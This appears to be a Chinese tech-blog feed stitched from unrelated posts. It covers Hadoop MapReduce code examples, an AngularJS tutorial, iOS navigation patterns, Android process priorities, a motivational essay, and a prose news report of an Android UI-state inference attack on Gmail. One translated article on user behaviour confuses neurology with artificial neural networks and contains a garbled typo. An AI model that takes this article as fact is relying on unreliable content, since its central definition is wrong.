import org.apache.hadoop.io.*;
import org.apache.hadoop.mapreduce.Job;
import org.apache.hadoop.mapreduce.Mapper;
import org.apache.hadoop.mapreduce.lib.input.FileInputFormat;
import org.apache.hadoop.mapreduce.lib.input.TextInputFormat;
import org.apache.hadoop.mapreduce.lib.output.FileOutputFormat;
import org.apache.hadoop.mapreduce.lib.output.TextOutputFormat;
import org.apache.hadoop.mapreduce.Reducer;
import org.apache.hadoop.util.Tool;
import org.apache.hadoop.util.ToolRunner;

//基于新API的WordCount例子(用extends Configured implements Tool的方式便于管理作业)
public class MyWordCount extends Configured implements Tool {

public static class MyMapper extends
Mapper<Object, Text, Text, IntWritable> {
private final static IntWritable one = new IntWritable(1);
private Text word = new Text();


@Override
protected void map(Object key, Text value, Context context)
throws IOException, InterruptedException {


StringTokenizer st = new StringTokenizer(value.toString());
while (st.hasMoreTokens()) {
word.set(st.nextToken());
context.write(word, one);
}
}
}

public static class MyReducer extends
Reducer<Text, IntWritable, Text, IntWritable> {
private IntWritable result = new IntWritable();
@Override
protected void reduce(Text key, Iterable<IntWritable> values,
Context context) throws IOException, InterruptedException {
int count = 0;
for (IntWritable value : values) {
count += value.get();
}
result.set(count);
context.write(key, result);
}
}

@Override
public int run(String[] args) throws Exception {
Configuration conf=getConf();//新APIConfiguration对象负责作业配置
//ToolRunner工具会自动调用隐藏的GenericOptionsParser将命令行参数设置到conf中
Job job=new Job(conf,"MyWordCount");
job.setJarByClass(MyWordCount.class);

job.setMapperClass(MyMapper.class);
job.setCombinerClass(MyReducer.class);
job.setReducerClass(MyReducer.class);

job.setInputFormatClass(TextInputFormat.class);
    job.setOutputFormatClass(TextOutputFormat.class);
job.setOutputKeyClass(Text.class);
job.setOutputValueClass(IntWritable.class);

//输入输出参数可以在命令行运行时设置,也可以在程序中直接设置,右击run on hadoop
FileInputFormat.addInputPath(job, new Path(args[0]));
FileOutputFormat.setOutputPath(job, new Path(args[1]));

System.exit(job.waitForCompletion(true)?0:1);
return 0;
}

public static void main(String[] args) throws Exception {
int res=ToolRunner.run(new Configuration(), new MyWordCount(), args);
System.exit(res);
}
}

运行:hadoop jar /root/wordCount.jar /usr/input  /usr/output
(jar包一般放在本地磁盘上,而输入输出文件放在HDFS上。也可以在程序中直接给出输入输出路径,数据文件也可以放在本地硬盘。
本例中的数据文件为word1、word2,文件可以没有后缀名,全部放在HDFS中的/usr/input目录下)
程序:旧API版
package inAction;
import java.io.IOException;
import java.util.Iterator;
import java.util.StringTokenizer;
import org.apache.hadoop.fs.Path;
import org.apache.hadoop.io.*;
import org.apache.hadoop.mapred.FileInputFormat;
import org.apache.hadoop.mapred.FileOutputFormat;
import org.apache.hadoop.mapred.JobClient;
import org.apache.hadoop.mapred.JobConf;
import org.apache.hadoop.mapred.MapReduceBase;
import org.apache.hadoop.mapred.Mapper;
import org.apache.hadoop.mapred.OutputCollector;
import org.apache.hadoop.mapred.Reducer;
import org.apache.hadoop.mapred.Reporter;
import org.apache.hadoop.mapred.TextInputFormat;
import org.apache.hadoop.mapred.TextOutputFormat;

//基于旧API的WordCount实现
public class WordCount2 {


public static class MyMapper extends MapReduceBase implements
Mapper<LongWritable, Text, Text, IntWritable> {
private IntWritable one = new IntWritable(1);
private Text word = new Text();


@Override
public void map(LongWritable key, Text value,
OutputCollector<Text, IntWritable> output, Reporter reporter)
throws IOException {
StringTokenizer st = new StringTokenizer(value.toString());
while (st.hasMoreTokens()) {
word.set(st.nextToken());
output.collect(word, one);
}
}
}

public static class MyReduce extends MapReduceBase implements
Reducer<Text, IntWritable, Text, IntWritable> {
private IntWritable res = new IntWritable();
@Override
public void reduce(Text key, Iterator<IntWritable> values,
OutputCollector<Text, IntWritable> output, Reporter reporter)
throws IOException {
int sum = 0;
while (values.hasNext()) {
sum += values.next().get();
}
res.set(sum);
output.collect(key, res);
}
}

public static void main(String[] args) throws IOException {
//旧API使用JobConf配置作业
JobConf conf=new JobConf(WordCount2.class);
conf.setJobName("OldAPIWordCount");
conf.setOutputKeyClass(Text.class);
conf.setOutputValueClass(IntWritable.class);

conf.setMapperClass(MyMapper.class);
conf.setCombinerClass(MyReduce.class);
conf.setReducerClass(MyReduce.class);

conf.setInputFormat(TextInputFormat.class);
conf.setOutputFormat(TextOutputFormat.class);

FileInputFormat.setInputPaths(conf, new Path("hdfs://hadoop:9000/usr/wordsIn"));
FileOutputFormat.setOutputPath(conf, new Path("hdfs://hadoop:9000/usr/wordsOut2"));

JobClient.runJob(conf);//新API中JobClient已删除

}

}

关于wordCount的详细解释可以参考这篇文章:http://www.cnblogs.com/xia520pi/archive/2012/05/16/2504205.html

2、MaxTemperature《Hadoop权威指南》

程序:MaxTemperature.java
package inAction;
import java.io.IOException;
import org.apache.hadoop.conf.Configuration;
import org.apache.hadoop.conf.Configured;
import org.apache.hadoop.fs.Path;
import org.apache.hadoop.io.*;
import org.apache.hadoop.mapreduce.Job;
import org.apache.hadoop.mapreduce.Mapper;
import org.apache.hadoop.mapreduce.Reducer;
import org.apache.hadoop.mapreduce.lib.input.FileInputFormat;
import org.apache.hadoop.mapreduce.lib.input.TextInputFormat;
import org.apache.hadoop.mapreduce.lib.output.FileOutputFormat;
import org.apache.hadoop.mapreduce.lib.output.TextOutputFormat;
import org.apache.hadoop.util.Tool;
import org.apache.hadoop.util.ToolRunner;


//找出每一年的最高气温(本例只用了1901年和1902年的数据,网上下的)
public class MaxTemperature extends Configured implements Tool{


//Mapper的功能是提取每一行原始数据中的年份和温度值
public static class MyMapper extends Mapper<LongWritable, Text, Text, IntWritable>{
private static final int MISSING=9999;//如果一行的气温值是9999即表明该年气温缺失


@Override
protected void map(LongWritable key, Text value, Context context)
throws IOException, InterruptedException {

String line=value.toString();
String year=line.substring(15,19);//年份是15-19个字符
int temperature;
//气温有正负要区别对待,Integer.parseInt不能处理负数
if(line.charAt(87)=='+'){
temperature=Integer.parseInt(line.substring(88,92));
}else{
temperature=Integer.parseInt(line.substring(87,92));
}
String quantity=line.substring(92,93);//quantity.matches("[01459]")表明数量只有是01459时才是有效气温值
//只有有效气温值才输出
if(quantity.matches("[01459]")&&temperature!=MISSING){
context.write(new Text(year), new IntWritable(temperature));
}
}
} 

public static class MyReducer extends Reducer<Text, IntWritable, Text, IntWritable>{


@Override
protected void reduce(Text key, Iterable<IntWritable> values,
Context context)
throws IOException, InterruptedException {
int maxValue=Integer.MIN_VALUE;
for(IntWritable temp:values){
maxValue=Math.max(temp.get(), maxValue);
}
context.write(key, new IntWritable(maxValue));
}

}



@Override
public int run(String[] args) throws Exception {
Configuration conf=getConf();
Job job=new Job(conf,"MaxTemperature");
job.setJarByClass(MaxTemperature.class);

job.setMapperClass(MyMapper.class);
job.setCombinerClass(MyReducer.class);//设置Combiner减少传递给Reducer的数据量,提高性能
job.setReducerClass(MyReducer.class);

job.setInputFormatClass(TextInputFormat.class);
    job.setOutputFormatClass(TextOutputFormat.class);
job.setOutputKeyClass(Text.class);
job.setOutputValueClass(IntWritable.class);

//输入输出参数可以在命令行运行时设置,也可以在程序中直接设置,右击run on hadoop
FileInputFormat.addInputPath(job, new Path(args[0]));
FileOutputFormat.setOutputPath(job, new Path(args[1]));

System.exit(job.waitForCompletion(true)?0:1);
return 0;
}


public static void main(String[] args) throws Exception {
int res=ToolRunner.run(new Configuration(), new MaxTemperature(), args);
System.exit(res);
}
}
关于MaxTemperature的详细解释可以参考这篇文章:http://www.linuxidc.com/Linux/2012-05/61196.htm

3、专利数据集《Hadoop in action》

对于一个专利数据集统计每个专利及引用它的专利,即输出形如:专利号1  引用专利1的专利号,引用专利1的专利号...(本例来自《Hadoop in action》)
程序:MyJob2.java

package inAction;
import java.io.IOException;
import org.apache.hadoop.conf.*;
import org.apache.hadoop.fs.Path;
import org.apache.hadoop.io.*;
import org.apache.hadoop.mapreduce.Job;
import org.apache.hadoop.mapreduce.Mapper;
import org.apache.hadoop.mapreduce.Reducer;
import org.apache.hadoop.mapreduce.lib.input.FileInputFormat;
import org.apache.hadoop.mapreduce.lib.input.TextInputFormat;
import org.apache.hadoop.mapreduce.lib.output.FileOutputFormat;
import org.apache.hadoop.mapreduce.lib.output.TextOutputFormat;
import org.apache.hadoop.util.*;


public class MyJob2 extends Configured implements Tool {
public static class MapClass extends Mapper<LongWritable, Text, Text, Text> {
@Override
protected void map(LongWritable key, Text value, Context context)
throws IOException, InterruptedException {
String[] citation = value.toString().split(",");
context.write(new Text(citation[1]), new Text(citation[0]));
}
}


public static class Reduce extends Reducer<Text, Text, Text, Text> {


protected void reduce(Text key, Iterable<Text> value, Context context)
throws IOException, InterruptedException {
String csv = "";
for (Text val : value) {
if (csv.length() > 0)
csv += ",";
csv += val.toString();
}


context.write(key, new Text(csv));
}
}


@Override
public int run(String[] arg0) throws Exception {
Configuration conf=getConf();

Job job=new Job(conf,"MyJob2");
job.setJarByClass(MyJob2.class);

Path in=new  Path("/root/cite75_99.txt");
Path out=new  Path("/root/inAction3");
FileInputFormat.setInputPaths(job, in);
FileOutputFormat.setOutputPath(job, out);

job.setMapperClass(MapClass.class);
job.setReducerClass(Reduce.class);

job.setInputFormatClass(TextInputFormat.class);
job.setOutputFormatClass(TextOutputFormat.class);
job.setOutputKeyClass(Text.class);
job.setOutputValueClass(Text.class);

System.exit(job.waitForCompletion(true)?0:1);
return 0;
}


public static void main(String[] args) throws Exception {
int res=ToolRunner.run(new Configuration(), new MyJob2(), args);
System.exit(res);
}
}

注:专利数据集apat63_99.txt和cite75_99.txt可以从网上下载。


下面的几个案例请参考博客园虾皮工作室!程序下载地址: http://download.csdn.net/detail/zpcandzhj/7810829

4、数据去重

对数据文件中的数据进行去重。数据文件中的每行都是一个数据。
样例输入如下所示:
1)file1:
2012-3-1 a
2012-3-2 b
2012-3-3 c
2012-3-4 d
2012-3-5 a
2012-3-6 b
2012-3-7 c
2012-3-3 c
2)file2:
2012-3-1 b
2012-3-2 a
2012-3-3 b
2012-3-4 d
2012-3-5 a
2012-3-6 c
2012-3-7 d
2012-3-3 c
样例输出如下所示:
2012-3-1 a
2012-3-1 b
2012-3-2 a
2012-3-2 b
2012-3-3 b
2012-3-3 c
2012-3-4 d
2012-3-5 a
2012-3-6 b
2012-3-6 c
2012-3-7 c
2012-3-7 d

程序:Dedup.java


5、数据排序

对输入文件中数据进行排序。输入文件中的每行内容均为一个数字,即一个数据。
要求在输出中每行有两个间隔的数字,其中,第一个代表原始数据在原始数据集中的位次,第二个代表原始数据。

样例输入:
1)file1:
 
2
32
654
32
15
756
65223
2)file2:
5956
22
650
92
3)file3:
26
54
6
样例输出:
1    2
2    6
3    15
4    22
5    26
6    32
7    32
8    54
9    92
10    650
11    654
12    756
13    5956
14    65223
程序:Sort.java


6、平均成绩

对输入文件中数据进行就算学生平均成绩。
输入文件中的每行内容均为一个学生的姓名和他相应的成绩,如果有多门学科,则每门学科为一个文件。
要求在输出中每行有两个间隔的数据,其中,第一个代表学生的姓名,第二个代表其平均成绩。
样本输入:
1)math:
张三    88
李四    99
王五    66
赵六    77
2)china:
张三    78
李四    89
王五    96
赵六    67
3)english:
张三    80
李四    82
王五    84
赵六    86


样本输出:
张三    82
李四    90
王五    82
赵六    76

程序:AverageScore.java

7、单表关联

实例中给出child-parent(孩子——父母)表,要求输出grandchild-grandparent(孙子——爷奶)表。
样例输入如下所示。
file:
child        parent
Tom        Lucy
Tom        Jack
Jone        Lucy
Jone        Jack
Lucy        Mary
Lucy        Ben
Jack        Alice
Jack        Jesse
Terry        Alice
Terry        Jesse
Philip        Terry
Philip        Alma
Mark        Terry
Mark        Alma

样例输出如下所示
file:
grandchild        grandparent
Tom              Alice
Tom              Jesse
Jone              Alice
Jone              Jesse
Tom              Mary
Tom              Ben
Jone              Mary
Jone              Ben
Philip              Alice
Philip              Jesse
Mark              Alice
Mark              Jesse

程序:STJoin.java

8、多表关联

输入是两个文件,一个代表工厂表,包含工厂名列和地址编号列;
另一个代表地址表,包含地址名列和地址编号列。
要求从输入数据中找出工厂名和地址名的对应关系,输出"工厂名——地址名"表。
样例输入如下所示。
1)factory:
factoryname                  addressed
Beijing Red Star                  1
Shenzhen Thunder                3
Guangzhou Honda                 2
Beijing Rising                     1
Guangzhou Development Bank          2
Tencent                        3
Bank of Beijing                   1
2)address:
addressID    addressname
1            Beijing
2            Guangzhou
3            Shenzhen
4            Xian
样例输出如下所示
factoryname                      addressname
Bank of Beijing                   Beijing
Beijing Red Star                  Beijing
Beijing Rising                    Beijing
Guangzhou Development Bank        Guangzhou
Guangzhou Honda                  Guangzhou
Shenzhen Thunder                  Shenzhen
Tencent                        Shenzhen
多表关联和单表关联相似,都类似于数据库中的自然连接。相比单表关联,多表关联的左右表和连接列更加清楚。
所以可以采用和单表关联的相同的处理方式,map识别出输入的行属于哪个表之后,对其进行分割,将连接的列值保存在key中,
另一列和左右表标识保存在value中,然后输出。reduce拿到连接结果之后,解析value内容,根据标志将左右表内容分开存放,然后求笛卡尔积,最后直接输出。

程序:MTjoin.java

9、建立倒排索引

 "倒排索引"是文档检索系统中最常用的数据结构,被广泛地应用于全文搜索引擎。
它主要是用来存储某个单词(或词组)在一个文档或一组文档中的存储位置的映射,即提供了一种根据内容来查找文档的方式。
由于不是根据文档来确定文档所包含的内容,而是进行相反的操作,因而称为倒排索引(Inverted Index)。
样例输入如下所示。
1)file1:
MapReduce is simple
2)file2:
MapReduce is powerful is simple
3)file3:
Hello MapReduce bye MapReduce
样例输出如下所示(每个单词在每个文件中的权重也计算出来了)
MapReduce         file1.txt:1;file2.txt:1;file3.txt:2;
is            file1.txt:1;file2.txt:2;
simple           file1.txt:1;file2.txt:1;
powerful        file2.txt:1;
Hello           file3.txt:1;
bye             file3.txt:1;
程序:InvertedIndex.java


鸟鹏学习笔记,转载注明出处!
http://blog.csdn.net/hellozpc
















































































































作者:zpcandzhj 发表于2014-8-24 17:00:49 原文链接
阅读:113 评论:0 查看评论

给孩子们的建议:1000小时定律

$
0
0

英文原文: My advice for kids: The 1,000-hour rule

1000 小时定律

我还没有资格给孩子们提供一些生活上的建议,但是我想分享一条简单的建议,在我还是孩子的时候貌似没有听过:

找到你真正喜欢做的事情,坚持下去,坚持多深入一些,大约十年之后,你一定会精通于此,并以你为傲。

这是我自己对受欢迎的 10,000 小时定律的个人实践,解释了用 10,000 小时的紧张训练,从而成为某个特定领域的专家。例如,一流的音乐家、艺术家、运动员、科学家和其他在各自领域的专家都分享了一个普通的经验:他们持续地、超过 10,000 个小时高强度训练,常常从幼年开始。这等于每周训练 4 个小时,坚持 10 年,葆有巨大激情和坚持不懈。

我不想强迫你成为某方面的专家,但是我真的希望你成为某方面的专家,我认为这只需要更少的时间和专注。下面是我的 1000 小时定律,它是 10,000 小时定律的更为温和的版本:我宣称大约 1000 小时的训练就能精通某方面。1000 小时在 10 年内约等于每周两个小时,相较于每天 4 小时,更有可持续性。想必你可以为某个兴趣每周抽出 2 个小时。因此找到你真正喜欢做的事情,坚持下去,坚持多深入一些,大约十年之后,你一定会精通于此,并以你为傲。

一点自我陶醉

举一个我本人的例子,你现在访问的网站是我在过去的十年里所维护的。我现在认为我自己非常擅长创建个人网站以及在线文章写作。

我不总是以网站设计和写作为傲。我在过去的几年里,只是开始收到了一些赞美,不过我已经做了 10 年网站了,可追溯到 1997 年。我 最初的尝试看起来非常可怕(比如, MS 画笔和剪贴画3D 裸男)。有人对我说,他们认为我在写作和网站设计上有某种天赋。我可以担保,在我 13 岁刚开始的时候,没有人这样对我说过!回到中学时代,我的写作水平很糟糕:我的某些文章得过C和D。 我对视觉审美毫无认知

然而,我在过去的十年用闲暇时间通过忙于我的网站,学会了提高写作和视觉设计感。我从来不记得在这上面花过大量时间,或影响了学校或工作的责任。这是一个爱好,我一有合适的时间就能去做。这样,如果在十年里你能持续地从事一种爱好,即使你每周投入数个小时,我保证你一定会非常精通于此!在整整十年里,积累 1000 个小时是相当容易的。

我认为我目前已经超过了 1000 小时,但是我离真正专家的 10,000 个小时的标准还差很远。我绝不认为自己是一个专业作家或网站设计师。我只不过是一个沉溺于某种癖好者,虽然在很多年里从事这个爱好了。然而,做为一名爱好者,我已经设法磨练了关于这门手艺的一些深入直觉,这无法从看一本书或入门向导上获得。对于长时间的持续训练,是无法简单取代的,没有速成的方法。然而,如果你只是长期地坚持你喜欢的东西,这是很容易达到的。

关键信息

不过这对我而言已经足够了。你不必关心我的爱好让我如何产生愉快的;你只需关心你能够从阅读本文过程中获取什么。

我的建议很简单: 找到你感兴趣的地方,并坚持下去,保持一颗始终如一的好奇心去学习更多,只是当做一个爱好、而没有任何将来的激励,坚持下去。从现在开始的十年里,你会认为,你已经持续坚持了很多年,你会变得擅长某事。最好的地方在于,这根本就不难,也不费力!

变成精于某项技能的世界级专家需要 10,000 小时的流血、汗水和泪水,多少次甚至让你接近崩溃的边缘,不过,只是精于爱好,花费较少的时间和情感投资。很少人能同时有潜力和机会发展成为世界级专家,但是只是精于某个技能差不多每个人都能达到。

本文链接

酷酷的前端MVC框架AngularJS(二)HelloWorld

$
0
0

angularJS在github上面进行一个代码的托管

地址:https://github.com/angular/angularjs.org  

注意:需要兼容IE8的同学请下载1.3之前的版本,在1.3之后已经放弃了IE8,估计是为了以后大版本升级做铺垫吧。各个版本的下地址在这里https://github.com/angular/angular.js/releases

新建一个hello.html

<script src="/soa-rest/static/app-js/angular.js"></script><script src="/soa-rest/hello.js"></script>

 angular.js是 NG的核心文件必须导入 hello.js 是书写我们自己的js代码文件。

在hello.js中加入如下代码

var app = angular.module('helloModule',[])
.controller('helloController',['$scope',function($scope){
	$scope.world = 'World !!';
}]);

 

第一行

var app = angular.module('helloModule',[])

告诉NG我要创建一个新的模块,第一个参数是模块的名字‘helloModule’,第二个参数是一个数组,传入所依赖的模块名称。这里我们只是一个简单的hello,不需要以来其他模块,所以传入一个空数组即可。

第二行

.controller('helloController',['$scope',function($scope){
	$scope.world = 'World !!';
}]);

   

NG是支持链式编程的,可以直接点,也可以使用app.的方式,看自己习惯,我更习惯链式编程的方式。这里看到一个新的单词‘controller’,没有错这就是NG中mvc的控制器的创建方式,第一个参数是控制器的名称,第二个参数是一个数组。在数组中第一二个参数是‘$scope’,scope的意思是域,同样在NG中他同样也是作用域的概念,这是一盒NG内置的对象,也可以理解为当前控制器作用域,NG中使用它来进行双向数据绑定,方法绑定等等。第二个参数是匿名函数,NG在执行的时候看到我们声明在匿名函数之前的‘$scope’便会把$scope注入给我们,我定义一个参数接受即可,如果没有找到我们所需要的便会抛出Error(是不是和spring的注入一样呢?思想是一样呀,嘿嘿!)。在匿名方法内部声明一个局部变量为world,并且赋值。这样子控制器就算写好了。

在hello.html页面中编写

<body  ng-app="helloModule"><div ng-controller="helloController">
   	hello <span ng-bind="world"></span><br>
   	hello  <span>{{world}}</span></div></body>

 

 第一行中的body中有一个属性为ng-app,意思为程序的入口,等同于java中的main方法。一个应用一般存在一个入口即可。ng-app的值其实就算我们刚刚声明的模块的名称。接下来的第二行一个DIV 中有一个属性 ng-controller 看单词意思就知道是ng的控制器了,value是刚刚创建的控制器的名称即可。在NG中有两种获取值得方式 ,第一种方式就算使用{{}}两对大括号的方式,这种方式是存在一定的问题的。在刷新速度过快活着网络卡顿的时候,会将{{key}}这种代码级别的展示给用户。第二章方式很好的解决了这一问题,使用NG提供的属性ng-bind 即可,简单把!以上步骤完成之后刷新hello.html 。

hello World !! 
hello World !!

 

 两个hello World就打印在页面上了。

 

 

 

 



已有 0人发表留言,猛击->> 这里<<-参与讨论


ITeye推荐



几种典型的 iOS 应用界面的交互框架各自的优缺点是什么?

$
0
0

小编按:优秀的交互框架不仅仅可以让用户清晰地了解应用的功能和内容组织,还可以让用户更快更好的完成操作任务和信息查找。 iOS 应用界面的交互框架又有哪些?其优缺点又是如何?一起来了解下...

185100hp8xfhd4n7gfjy8n

几种典型的 iOS 应用界面的交互框架各自的优缺点是什么?

1. 以 Path、Facebook 为代表的「左侧隐藏菜单抽屉式」;

2. 以 Instagram、微信、微博等为代表的「底部标签式」;

3. 以 Vine 为代表的「顶栏下拉菜单式」;

以上几种交互框架各自的优点和缺陷是什么?应用如何根据需要选择合适的交互框架?

以下为知乎作者@獾源提供的回答:

标签式 / Tab Menu

2

优点:

1、清楚当前所在的入口位置

2、轻松在各入口间频繁跳转且不会迷失方向

3、直接展现最重要入口的内容信息

缺点:

功能入口过多时,该模式显得笨重不实用

3

 跳板式 / Springborad

4

优点:

1、清晰展现各入口

2、容易记住各入口位置,方便快速找到

缺点:

1、无法在多入口间灵活跳转,不适合多任务操作

2、容易形成更深的路径

3、不能直接展现入口内容

4、不能显示太多入口次级内容

5

列表式 / List Menu

6

优点:

1、层次展示清晰

2、可展示内容较长的标题

3、可展示标题的次级内容

缺点:

1、同级内容过多时,用户浏览容易产生疲劳

2、排版灵活性不是很高

3、只能通过排列顺序、颜色来区分各入口重要程度

7

旋转木马 / Carousel

8

优点:

1、单页面内容整体性强

2、线性的浏览方式有顺畅感、方向感

缺点:

1、不适合展示过多页面

2、不能跳跃性地查看间隔的页面,只能按顺序查看相邻的页面

3、由于各页面内容结构相似,容易忽略后面的内容

9

抽屉式 / Drawer

10

优点:

1、兼容多种模式

2、扩展性好

缺点:

1、隐藏框架中其他入口

2、对入口交互的功能可见性(affordance)要求高

3、对排版要求高

11

点聚式 / Plus

13

优点:

1、灵活

2、展示方式有趣

3、使界面更开阔

缺点:

1、隐藏框架中其他入口

2、对入口交互的功能可见性(affordance)要求高

14

陈列馆式 / Gallery15

优点:

1、直观展现各项内容

2、方便浏览经常更新的内容

缺点:

1、不适合展现顶层入口框架

2、容易形成界面内容过多,显得杂乱

3、设计效果容易呆板

16

瀑布式 / Waterfall

优点:

1、浏览时产生流畅体验

缺点:

1、缺乏对整体内容的体积感,容易发生空间位置迷失

2、浏览一段时间后,容易产生疲劳感

18

原文作者: 獾源@知乎

本文由人人都是产品经理@思静整理自 知乎问答,转载请注明并保存本文链接!


(关注更多人人都是产品经理观点,参与微信互动(微信搜索“人人都是产品经理”或“woshipm”)

神经网络与用户行为

$
0
0

英文原文: Neurology & User Behavior: What We Know

流量和转化率是我们衡量一个网站是否成功的两个重要指标。

网站转化率就是指用户进行了相应目标行动的访问次数(成交人数)与总访问次数的比率。这里所指的相应的行动可以是用户登录、用户注册、用户订阅、用户下载、用户购买等一些列用户行为,因此网站转化率是一个广义的概念。网站转化率通常被用来当作发展过程中的一个个小目标,大多数网站会做一些吸引用户的事情,然后把用户指引到电子商务中,或是一些独特的策略,尽可能地提高用户支付的转化率。

近年来,神经网络设计的诞生产生了一种新的现象,它结合了各个领域优秀的思想,包括:

  • 动机研究
  • 行为与决策
  • 神经系统科学

它是一种模仿动物神经网络行为特征,进行分布式并行信息处理的算法数学模型。这种网络依靠系统的复杂程度,通过调整内部大量节点之间相互连接的关系,从而达到处理信息的目的,可以登网站信息更具有整体性,那神经网络到底是什么呢?它会对互联网造成什么样的影响?

这篇文章包括两个部分,首先我们会讨论一些通用的想法和原则,然后展示一下如何将目前的技巧和技术应用到自己的设计中。

什么是神经网络?

目前神经网络研究人们如何思考,如何做决定,甚至是他们做一些事情的动机。不管你想开发一个网站、软件、游戏还是应用,你都应该关注一下这个领域最新的研究成果,学习一下如何将这些研究成果应用到你自己的项目中。

我们通常认为我们所做的决定都是经过深思熟虑的,但实际上,我们所做的大部分决定都是通过潜意识进行的。

我们通常觉得我们所做出的选择都是自主的,但实际上,我们会被他人影响,观察他人如果选择。尤其是你对某件事情表示怀疑的时候,你更无法自主地做出决定。

在多数情况下我们只在别人尝试过之后才会去尝试,相信现在已经很少有人不看商品评价就会去买一件商品。

当然,这样的现象不仅仅局限于购买商品,还包括在视频网站上点播视频,你会偏向点击率高的视频。

在你购物时,我猜你经常点击类似“购买此商品的人也购买了 xxx 商品”,“你可能还对 xxx 感兴趣”这样的链接。

我没有猜错吧!还有一些研究表明,我们在选择一样商品的时候一定要有备选项,网络正把我们变的优柔寡断,我们常常花费大量的时间在选择上,很多人觉得自己患上了选择恐惧症。而且在这种情况下,最终的结果往往是我们什么都没有买。

这些研究开始让我们觉得少一些可能会得到更好的效果,我们通常认为可选项多一些会带来不错的结果,事实上,过多的备选已经开始影响我们的选择。举一个例子,最初我们想在网上淘一双鞋子,找到了一个 500 块出售的店,在对比的过程中,我们发现了一家只卖 450 块,再后来我们又找到了一个更便宜的,然后在商品评价中,看到有人说这双鞋是假的,于是只好找最开始比较靠谱的那家店,经过这么久的对比,开始觉得 500 块卖的有些贵,于是长达几个小时的购物以失败告终。

如果你对这个话题感兴趣,可以看看 《The Paradox of Choice》这本书。

在这本书中,作者向我们介绍了很多看起来对我们有好处,但其实对我们生活造成严重影响的事情。综合当前相关领域的最新研究,他觉得在当前社会下,适当的减少选择会极大地减少人们的压力和焦虑。

不管以何种身份阅读这本书,它都会让你受益匪浅。它会向你讲述一些决策上的知识,关于选择导致的时间和精力消耗,重要的是,它会让你的生活变得更加美好。

访客通过直觉、情感和逻辑来评判一个网站,所以我们可以从这个角度出发来设计你的网站,分析人的大脑结构以及它们对浏览量造成的影响。

人的大脑可以分成三个部分:

  • 古老的核心部分负责能量供应
  • 中间部分负责情感
  • 最新的部分负责思考

我们是否能成功在于对各个部分的把握是否准确,核心部分负责保护我们,它们知道我们饿了,帮助我们繁殖后代。如果你想吸引一个人,你就要吸引他的这一部分。

我们通常可以通过使用明确的信号、足够吸引力的失误来产生这种吸引力。

另一方面,如果你想最大化的了解你的用户,你就需要找到一种方式来挖掘和刺激用户大胸的这一部分。

但是我们应该怎么做呢?

最好的方式应该是让用户从他们信任或喜欢的人那里得到我们想要传递的信息,你必须要记住,把一个对象绑定到一个著名的、吸引人的事物上,这个对象就会变的有吸引人。人们会认为他们是相似的,潜意识里会对这个对象产生好感。

如果你的目标是说服用户完成一个特殊的任务,你应该做的是在你的网站中创造出一些类似的目标受众或是潜在的观众。

我们有一个奇怪的大脑,不是么?

结论

在这篇文章中,我们了解到一日常生活中一些无意识的决策行为,以及这些论点相对的社会验证和相关的研究。

下一部分我们会将这些理论对应一些实际的例子,并针对开发提出一些针对性的建议。

本文链接


研究人员以92%的成功率劫持Gmail应用

$
0
0
你从第三方网站下载了一个墙纸应用,它不需要任何权限,所以你推测它不会是恶意应用。但加州大学河滨分校的研究人员发表的一篇研究报告(PDF)指出,不需要任何权限的应用程序也能窃取你的敏感信息。这种攻击方法被称为UI状态推断攻击,他们针对的平台是Android,但认为其它操作系统存在类似的弱点。程序打开一个窗口需要占用内存,恶意程序通过监视已用内存和未用内存的变化,可以推断你打开了哪个程序的什么窗口,比如恶意程序作者观察到打开一个贝宝登录窗口需要占用多少多少内存,安装在你手机上的恶意程序监视到已占用内存增加了相同大小的空间,它能推断你正在打开的是贝宝登录窗口,它可以弹出一个假的贝宝登录窗口,诱骗你输入登录信息。通过统计分析进程的共享内存变化,研究人员能以92%的成功率劫持Gmail应用。






内存不足时Android 系统如何Kill进程

$
0
0

大家其实都或多或少知道,Android系统有自已的任务管理器,当系统内存不足时,系统需要KILL一些进程(应用),以回收一部分资源,来保证系统仍可以正常的运行,而不会崩溃,今天,就具体讲讲这个原理。

进程优先级(importance hierarchy)

Android系统尽量保持进程运行的更久,但是仍有时候,需要结束掉老的进程,回收内存来保证新的,或更重要的进程运行。要决定哪些进程运行,哪些被 KILL,系统会为每个运行的进程或者组件设置其进程优先级。通常KILL的顺序是优先级最低,然后其次,等等依次这样下去。

一共有五级:

前台进程(Foreground Process)

满足以下条件即为前台进程:

a. 用户当前正在操作的Activity(Activity.onResume方法已经被调用了);

b. Service绑定到用户当前正在操作的Activity;

c. Service在前台运行(Service.startForeground);

d. Service正在执行生命周期中的方法之一(onCreate, onStart, onDestroy);

e. BroadcastReceiver正在执行onReceive方法;

通常,前台进程是很少的(就以上几种),所以它们是最后被KILL的(内存极少,系统为了能保证正常运行,且能与用户交互,当前台进程不止一个时,会KILL某些前台进程)。不过,这情况,对于目前的手机来说,不太可能发生的事。

可见进程(Visible process)

满足以下条件即为可见进程:

a. Activity不为前台进程,但生命周期处于onPause状态,也就是说,一个Dialog挡住了部分Activity;

b. 和1.b中一样,Service绑定在当前可见或前台Activity;

可见进程同样也很重要,当系统内存不足,且为了保证前台进程继续运行时,可见进程会被KILL掉。

服务进程(Service process)

通常都是被startService方法调用而运行的Service,而没有绑定到其它Activity上(即1.b, 2.b中所说的情况),这些Service可能是在后台下载,或是类似音乐播放器一样等服务,同样,为了保证前台和可见进程能够正常运行,系统会KILL 掉服务进程。

后台进程(Background process)

这些进程通常都是Activity完全不可见,即生命周期处于onStop阶段时,只要不影响到用户的操作,那么,就可以随时被系统KILL掉用来保证前台,可见或是服务进程的运行。通常,有很多后台进程在运行,系统会将它们放入到LRU(Last Recent Used,最近使用)列表中,用来决定:最近使用过的最后被KILL,而很长时间没使用过的,将会被第一个KILL掉。

空进程(Empty process)

这类进程没有任何活动应用,之所有会有这样的进程,是为了缓存的目的。为了加快某个组件下次启动的时间而设计的。系统经常KILL这些进程用来平衡整个系统资源(通常是在进程缓存和内核缓存之间做平衡)。

总结:

i) 系统会根据进程的不同状态,会动态调整进程的优先级,比如:用户当前与某个Activity交互,然后按了一下HOME键,则进程从前台进程切换至后台进程,并被加入到LRU列表中;

ii) 进程所处不同的优先级,将会决定当系统内存不足时,其命运将会如何,进程被KILL的顺序上面已经说的很清楚了,我这里再罗列下(空进程不考虑):

— 后台进程 -> 服务进程 -> 可见进程 -> 前台进程;

后台进程又以LRU来决定:

— LRU中找到最长时间没用过的先被KILL,然后找到其次最长时间没用过的被KILL,依次类推,而最近被使用过的最后KILL。

 

转自: http://jingyan.baidu.com/article/656db918938764e381249ce5.html



已有 0人发表留言,猛击->> 这里<<-参与讨论


ITeye推荐



